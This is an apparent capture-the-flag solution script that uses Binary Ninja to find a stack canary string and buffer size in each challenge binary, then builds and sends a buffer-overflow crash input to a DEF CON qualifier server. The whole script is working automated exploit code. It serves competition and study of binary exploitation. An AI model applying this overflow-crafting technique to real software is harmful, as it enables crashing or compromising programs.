|
#!/usr/bin/env python |
|
|
|
import sys |
|
try: |
|
import binaryninja |
|
except ImportError: |
|
sys.path.append("/Applications/Binary Ninja.app/Contents/Resources/python/") |
|
import binaryninja |
|
import time |
|
import socket |
|
import base64 |
|
|
|
s = socket.socket() |
|
s.connect(('334_cuts_22ffeb97cf4f6ddb1802bf64c03e2aab.quals.shallweplayaga.me', 10334)) |
|
print "Msg: " + s.recv(1024) |
|
|
|
def readUntil(s, delim): |
|
msg = "" |
|
while delim not in msg: |
|
msg += s.recv(1) |
|
|
|
return msg |
|
|
|
msg = readUntil(s, '\n') |
|
while True: |
|
print |
|
print |
|
|
|
# They send us the challenge name to process. |
|
msg = readUntil(s, '\n') |
|
if 'segfault' in msg: |
|
print msg |
|
break |
|
chal = msg.strip() |
|
|
|
# Open a binary view to the challenge as an elf |
|
print "Analyzing {0}".format(chal) |
|
bv = binaryninja.BinaryViewType["ELF"].open(chal) |
|
bv.update_analysis() |
|
time.sleep(0.1) |
|
|
|
# start at the entry point |
|
print "Entry Point: {0:x}".format(bv.entry_point) |
|
entry = bv.get_functions_at(bv.entry_point)[0] # Get the entry point as a function object |
|
count = 0 |
|
start = None |
|
|
|
# Iterate over the basic blocks in the entry function |
|
for block in entry.low_level_il: |
|
# Iterate over the basic blocks getting il instructions |
|
for il in block: |
|
|
|
# We only care about calls |
|
if il.operation != binaryninja.core.LLIL_CALL: |
|
continue |
|
|
|
# The second call is the call to start |
|
count += 1 |
|
if count == 2: |
|
start = bv.get_functions_at(il.operands[0].value)[0] |
|
break |
|
|
|
print "start: {0}".format(start) |
|
|
|
# Do the same thing with main, it's the first call in start |
|
main = None |
|
for block in start.low_level_il: |
|
for il in block: |
|
if il.operation != binaryninja.core.LLIL_CALL: |
|
continue |
|
|
|
main = bv.get_functions_at(il.operands[0].value)[0] |
|
|
|
print "main: {0}".format(main) |
|
|
|
# Collect all the call instructions in main |
|
calls = [] |
|
for block in main.low_level_il: |
|
for il in block: |
|
if il.operation == binaryninja.core.LLIL_CALL: |
|
calls.append(il) |
|
|
|
# If there are 5, then the memcmp is the second one. With 6 its the 3rd one. |
|
if len(calls) == 5: |
|
memcmp = calls[1] |
|
else: |
|
memcmp = calls[2] |
|
|
|
# We assume that ecx contains a reference to the canary string at the memcmp |
|
# This isn't guarenteed to be true but it worked across all 334 challenge binaries |
|
canary_address = main.get_reg_value_at_low_level_il_instruction(memcmp.address, 'ecx').value |
|
canary = bv.read(canary_address, 4) |
|
print "Canary: {0}".format(canary) |
|
|
|
buffer_size = 0 |
|
total_stack = 0 |
|
|
|
# Get the stack layout and find the first stack reference past the canary. |
|
# It'll be the buffer to overflow |
|
for stackslot in reversed(main.stack_layout): |
|
if stackslot.offset < (-21 - 8): |
|
buffer_size = last_slot.offset - stackslot.offset |
|
total_stack = (-stackslot.offset) + 4 |
|
break |
|
last_slot = stackslot |
|
|
|
|
|
print "Buffer Size: {0} 0x{0:x}".format(buffer_size) |
|
|
|
# Once we know the canary string and the buffer size, we can craft the crashing string |
|
print buffer_size |
|
crash_string = "a" * buffer_size |
|
crash_string += canary[:4] |
|
if total_stack % 4 != 0: # Let's align the total stack size |
|
total_stack += 4 - (total_stack % 4) |
|
crash_string += "a" * (total_stack - buffer_size - 4) |
|
crash_string += '\n' |
|
|
|
# Send the crashing string to the service |
|
b64 = base64.b64encode(crash_string) |
|
print chal, canary, crash_string.strip(), b64 |
|
s.send(b64 + "\n") |